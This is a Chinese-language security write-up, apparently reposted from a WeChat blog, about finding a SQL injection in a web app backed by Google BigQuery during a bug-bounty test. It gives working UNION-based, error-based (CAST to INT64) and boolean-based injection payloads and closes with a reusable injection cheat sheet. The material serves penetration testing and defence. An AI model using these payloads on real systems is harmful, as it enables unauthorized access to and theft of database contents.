一个基于 BigQuery 的 SQL 注入挖掘案例

前言

在通常的SQL注入中，我们面对的数据库为MySQL、MongoDB等等。针对不同的数据库，渗透的手法也有所差别。本文分享一个Synack.com上的特殊类SQL注入案例——【DBMS：BigQuery】

正文

Google有一个名为BigQuery的服务，我们可以通过它的云系统将其用作应用程序的数据库管理系统。尽管在大多数SQL结构方面它类似于其他数据库，但它的语法会有一些不同。

在正式开始案例前，先了解一下这个数据库。

在这个数据库中，存在两种查询机制，区别与联系如下：
1、标准模式：标准模式为目前的默认模式，大多数程序使用该模式
2、传统模式：传统模式为以前使用的旧模式，少数程序使用该模式
3、在查询开头加上 #legacySQL 和 #standardSQL 作为前缀，即可切换模式。
4、查询语法不一致
在传统SQL中，查询语法如下：

SELECT column-name FROM [project-name:dataset-name.table-name]

在标准SQL中则不同，查询语法如下：

SELECT column-name FROM project-name:dataset-name.table-name

5、由于BigQuery系统采用云技术，所以存在一个结构如下：
项目名称 -> 数据集（数据库）-> 表 -> 列 -> 数据

案例

添加单引号，返回语法错误，故存在报错注入：

也许你的想法和我一致，即启动SQLmap。
尽管SQLmap可以进行报错注入及布尔注入，但它不能很好地识别该DBMS。

那么该系统是什么？

仔细观察上图可知，From `` AS 这个字符串即可证明该DBMS为BigQuery。

现在要怎么注入？

BigQuery语法中不存在基于时间的函数如SLEEP、WAITFOR DELAY等，同时现有的报错注入Payload在此不通用。

由于该数据库支持union命令，那么就以其为切入点，通过不断利用报错回显后，设计出该Payload：

true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

注入成功，回显如下：

那么下一步就是扩大攻击深度了：获取其它用户的项目名称，进而得到敏感数据。

可棘手的问题摆在眼前：
1、经测试，反引号字符（`）在应用程序后端被过滤或经过处理。
2、用户ID并非顺序排列，而是10位以上的数字，因此很难通过穷举攻击来获取用户ID。
3、INFORMATION_SCHEMA.SCHEMATA表无权访问

山穷水尽疑无路了？

通过不断尝试，我们最终发现了一个不需要`并且可以访问 INFORMATION_SCHEMA 表的数据：系统变量

设计出的Payload如下：

true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

虽然得到的数据并不敏感，但足以证明它是一个有效的数据泄露POC。

当考虑获取敏感数据时，仅靠Union注入的列是无法起作用的，因为我们想要得到的是字符串，而我们注入的列只是一个整数值。

然而，在BigQuery中，类型转换问题可以引发语法错误：

dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#

通过使用CAST(@@project_id AS INT64)，我们将@@project_id从默认的字符串类型转换为INT64整数类型，产生如下报错：

可以看到，回显包含项目ID，至此，我们就能够获取数据库中的敏感数据。

涉及的语法、语句总结

1、注释：

select 1#from here it is not working

2、注释：

select 1/between those it is not working/

3、获取当前用户：

select session_user()

4、获取项目ID：

select @@project_id

5、获取所有数据集名称：

select schema_name from INFORMATION_SCHEMA.SCHEMATA

6、从特定项目ID和数据集获取数据：

select * from project_id.dataset_name.table_name

7、限制函数：

select schema_name from INFORMATION_SCHEMA.SCHEMATA limit 1

8、基于错误的类型转换：

select CAST(@@project_id AS INT64)

9、基于错误的除零操作：

' OR if(1/(length((select('a')))-1)=1,true,false) OR '10、基于Union的注入：UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

11、基于布尔值的注入：

' WHERE SUBSTRING((select column_name from project_id.dataset_name.table_name limit 1),1,1)='A'#

12、使用公共数据集的示例：

SELECT * FROM bigquery-public-data.covid19_open_data.covid19_open_data LIMIT 1000

13、所有函数列表：

https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators

14、脚本语句：

https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting

参考链接：https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac

原文始发于微信公众号（芳华绝代安全团队）：一个基于 BigQuery 的 SQL 注入挖掘案例